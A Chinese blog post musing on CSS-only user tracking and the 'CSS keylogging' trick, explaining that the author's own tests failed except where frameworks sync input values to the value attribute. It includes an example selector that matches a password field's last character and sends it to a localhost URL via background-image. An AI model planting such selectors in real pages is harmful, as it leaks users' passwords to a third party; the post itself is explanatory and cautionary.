CSS選擇器引起的一些思考

wudengzan 發(fā)布于2019-08-29 16:39 / 1773人閱讀

摘要：隨著這個(gè)思路，我自己嘗試了一下構(gòu)造選擇器去匹配用戶(hù)的輸入，選擇器語(yǔ)法參考另外在的幫助下也找到了用來(lái)獲取按鍵輸入的腳本，其實(shí)想法都差不多，腳本傳送門(mén)搜到的版本。

今天在看技術(shù)博客的時(shí)候發(fā)現(xiàn)這個(gè)帖子，感覺(jué)挺有趣的，于是就去挖了一下，問(wèn)題已經(jīng)是老問(wèn)題，但是還是有很多值得注意和學(xué)習(xí)的地方。

原文帖是僅用CSS實(shí)現(xiàn)網(wǎng)頁(yè)追蹤分析,主要講的是通過(guò)CSS來(lái)記錄用戶(hù)的交互操作和獲取一些基本信息。我的第一感覺(jué)就是可以用來(lái)做推薦系統(tǒng)的用戶(hù)交互記錄，通過(guò)這種方式能夠記錄用戶(hù)鼠標(biāo)在哪些元素上懸停的時(shí)間，以及點(diǎn)擊的操作，等等。

瀏覽器熏染HTML文件是從上而下渲染的(需要加載完.css文件之后才會(huì)繼續(xù)向下渲染)，要是加入許多這些追蹤用戶(hù)樣式的代碼可能會(huì)影響頁(yè)面的加載效率，但是要是有目的性的去使用這些功能，或許就比較值得了，比如說(shuō)記錄用戶(hù)的按鍵輸入。

隨著這個(gè)思路，我自己嘗試了一下構(gòu)造CSS選擇器去匹配用戶(hù)的輸入，CSS選擇器語(yǔ)法參考,另外在Google的幫助下也找到了用來(lái)獲取按鍵輸入的CSS腳本，其實(shí)想法都差不多，腳本傳送門(mén)-搜到的版本 CSS-Keylogging。

主要思路是通過(guò)類(lèi)似input[type="password"][value$="x"]{ background-image: url("http://localhost:3000/x"); }的方式來(lái)進(jìn)行獲取按鍵，意思就是input標(biāo)簽的type值為password的input中將value以x結(jié)尾的背景設(shè)置為url所指向的背景，但其實(shí)這個(gè)url不是圖片背景而是一個(gè)指向傳送按鍵信息的鏈接。之后你懂得通過(guò)服務(wù)端獲取url中的path就能取到值了。然后對(duì)每個(gè)按鍵到設(shè)置一個(gè)CSS腳本即可。

但其實(shí)這種方式我嘗試了很多次沒(méi)有成功，瀏覽器不會(huì)主動(dòng)將input中輸入的值存在value中，所以CSS匹配的一直是初始化狀態(tài)下的value屬性值，只有那些將value同步的框架才可能引發(fā)這些危害。

但是有一點(diǎn)可以確認(rèn)，可以通過(guò)css中地url發(fā)送get請(qǐng)求。這讓我想到jsonp的原理，通過(guò)像構(gòu)造類(lèi)似script標(biāo)簽中地src屬性的方式來(lái)解決跨域問(wèn)題，要是不注意第三方庫(kù)，很可能也存在這種惡意腳本的加載。